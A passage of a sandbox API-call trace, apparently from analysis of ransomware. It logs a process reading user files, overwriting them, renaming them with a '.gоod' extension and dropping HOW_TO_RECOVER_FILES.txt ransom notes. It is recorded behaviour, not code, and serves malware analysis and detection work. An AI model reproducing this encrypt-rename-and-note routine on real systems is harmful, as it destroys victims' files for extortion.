dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0249.149] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.149] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5577fa0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5577fa0f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0249.150] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f3488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0249.150] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f3488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0249.150] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0249.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0249.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0249.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", lpFilePart=0x0) returned 0x8e [0249.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0249.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), fInfoLevelId=0x0, lpFileInformation=0x392eb50 | out: lpFileInformation=0x392eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5577fa0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5577fa0f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5577fa0f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0249.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0249.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", nBufferLength=0x105, lpBuffer=0x20ced3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", lpFilePart=0x0) returned 0x8e [0249.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced8c0) returned 1 [0249.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0249.151] GetFileType (hFile=0x8a4) returned 0x1 [0249.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced830) returned 1 [0249.151] GetFileType (hFile=0x8a4) returned 0x1 [0249.151] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x20ceda68 | out: lpFileSizeHigh=0x20ceda68*=0x0) returned 0x160 [0249.151] ReadFile (in: hFile=0x8a4, lpBuffer=0x392f098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced998, lpOverlapped=0x0 | out: lpBuffer=0x392f098*, lpNumberOfBytesRead=0x20ced998*=0x160, lpOverlapped=0x0) returned 1 [0249.151] CloseHandle (hObject=0x8a4) returned 1 [0249.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", nBufferLength=0x105, lpBuffer=0x20ced3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", lpFilePart=0x0) returned 0x8e [0249.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced8c0) returned 1 [0249.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0249.189] GetFileType (hFile=0x8a4) returned 0x1 [0249.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced830) returned 1 [0249.189] GetFileType (hFile=0x8a4) returned 0x1 [0249.189] WriteFile (in: hFile=0x8a4, lpBuffer=0x39a6c88*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x20ced8a8, lpOverlapped=0x0 | out: lpBuffer=0x39a6c88*, lpNumberOfBytesWritten=0x20ced8a8*=0x170, lpOverlapped=0x0) returned 1 [0249.189] CloseHandle (hObject=0x8a4) returned 1 [0249.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json", lpFilePart=0x0) returned 0x8e [0249.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.gоod", lpFilePart=0x0) returned 0x93 [0249.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0249.190] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5577fa0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5577fa0f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x90bcd4a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x170)) returned 1 [0249.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0249.190] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.gоod")) returned 1 [0250.289] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", lpFilePart=0x0) returned 0x90 [0250.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0250.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), fInfoLevelId=0x0, lpFileInformation=0x392a940 | out: lpFileInformation=0x392a940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f3488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x2b56)) returned 1 [0250.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0250.289] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", lpFilePart=0x0) returned 0x90 [0250.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0250.290] GetFileType (hFile=0x768) returned 0x1 [0250.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.290] GetFileType (hFile=0x768) returned 0x1 [0250.290] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0250.290] ReadFile (in: hFile=0x768, lpBuffer=0x392aea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x392aea8*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0250.291] CloseHandle (hObject=0x768) returned 1 [0250.291] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", lpFilePart=0x0) returned 0x90 [0250.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0250.292] GetFileType (hFile=0x768) returned 0x1 [0250.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.292] GetFileType (hFile=0x768) returned 0x1 [0250.292] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2b56 [0250.292] WriteFile (in: hFile=0x768, lpBuffer=0x392c288*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x392c288*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0250.293] CloseHandle (hObject=0x768) returned 1 [0250.293] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", lpFilePart=0x0) returned 0x90 [0250.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0250.293] GetFileType (hFile=0x768) returned 0x1 [0250.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.293] GetFileType (hFile=0x768) returned 0x1 [0250.293] ReadFile (in: hFile=0x768, lpBuffer=0x392e660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x392e660*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0250.320] CloseHandle (hObject=0x768) returned 1 [0250.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", lpFilePart=0x0) returned 0x90 [0250.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0250.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0250.321] GetFileType (hFile=0x768) returned 0x1 [0250.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0250.321] GetFileType (hFile=0x768) returned 0x1 [0250.321] WriteFile (in: hFile=0x768, lpBuffer=0x392d310*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x392d310*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0250.321] CloseHandle (hObject=0x768) returned 1 [0250.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json", lpFilePart=0x0) returned 0x90 [0250.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.gоod", lpFilePart=0x0) returned 0x95 [0250.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0250.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f3488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x916b8c66, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b66)) returned 1 [0250.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0250.321] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.gоod")) returned 1 [0250.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x92 [0250.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0250.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0250.440] GetFileType (hFile=0x82c) returned 0x1 [0250.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0250.440] GetFileType (hFile=0x82c) returned 0x1 [0250.441] WriteFile (in: hFile=0x82c, lpBuffer=0x3881e18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 | out: lpBuffer=0x3881e18*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0250.441] CloseHandle (hObject=0x82c) returned 1 [0250.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0250.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0250.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0250.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedc10) returned 1 [0250.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0250.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0250.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\my videos\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0250.445] GetFileType (hFile=0x82c) returned 0x1 [0250.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0250.445] GetFileType (hFile=0x82c) returned 0x1 [0250.446] WriteFile (in: hFile=0x82c, lpBuffer=0x3892700*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 | out: lpBuffer=0x3892700*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0250.447] CloseHandle (hObject=0x82c) returned 1 [0250.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0250.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x27 [0250.447] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0250.448] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, 